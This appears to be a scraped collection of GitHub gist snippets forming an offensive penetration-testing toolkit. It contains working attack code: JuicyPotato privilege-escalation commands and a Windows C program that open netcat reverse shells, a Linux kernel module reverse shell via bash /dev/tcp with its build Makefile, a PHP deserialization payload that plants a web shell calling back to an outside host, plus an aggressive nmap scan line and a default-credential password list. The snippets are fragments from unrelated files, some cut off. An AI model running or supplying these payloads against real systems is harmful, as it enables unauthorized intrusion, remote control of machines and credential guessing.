This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
JuicyPotato.exe -t t -p C:\Windows\System32\cmd.exe -l 8888 -a "/c c:\Users\Public\Downloads\nc.exe -e cmd.exe 192.168.1.1 443" | |
# If this does not work, need to pick CLSID manually from | |
# http://ohpe.it/juicy-potato/CLSID/ | |
potato.exe -t t -p C:\Windows\System32\cmd.exe -l 8888 -a "/c c:\TEMP\nc.exe -e cmd.exe 192.168.1.1" -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <linux/kmod.h> | |
#include <linux/module.h> | |
MODULE_LICENSE("GPL"); | |
MODULE_AUTHOR("Troll"); | |
MODULE_DESCRIPTION("LKM reverse shell module"); | |
MODULE_VERSION("1.0"); | |
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
obj-m +=reverse-shell.o | |
all: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules | |
clean: | |
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class Foo | |
{ | |
public $user_file = "malicious.php"; | |
public $data = "<?php system('nc 192.168.1.1 443 -c bash'); ?>"; | |
} | |
$url = 'http://vuln.com/unserialize.php?r='; // Change it to arbitrary url | |
$url = $url . urlencode(serialize(new Foo)); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
nmap --min-rate 4500 --max-rtt-timeout 1500ms 192.168.1.1 -p- | |
# Rustscan make 4500 connections at the same time | |
# rtt timeout is 10000ms = 10 seconds by default | |
# 1500ms is 1.5 seconds timeout. 100ms for fast/reliable host, 10000ms for slow/unreliable host. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
/* | |
x86_64-w64-ming32-g++ | |
i686-w64-mingw32-g++ | |
*/ | |
int main() | |
{ | |
WinExec("C:\\inetpub\\wwwroot\\uploaded\\nc.exe 192.168.1.1 443 -e cmd.exe", SW_SHOWNORMAL); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
if [[ $# -ne 1 ]]; then | |
echo "[!]Argument is supposed to be the name of github user" | |
echo "Usage: ./getgits.sh username" | |
exit 1 | |
fi | |
url="https://github.com/$1?tab=repositories" | |
repos=$(curl ${url} | grep 'codeRepository' | grep -Po 'href="(?:.*?(\"))' | grep -Po '(["])(?:(?=(\\?))\2.)*?\1' | tr -d '"') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
import sys | |
import os.path | |
if __name__ == "__main__": | |
if len(sys.argv) != 2: | |
print("usage: {} names.txt".format((sys.argv[0]))) | |
sys.exit(0) | |
if not os.path.exists(sys.argv[1]): |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
admin:admin | |
admin:password | |
root:root | |
user:password | |
abc123 | |
abcd1234 | |
admin | |
admin!@ | |
admin123 |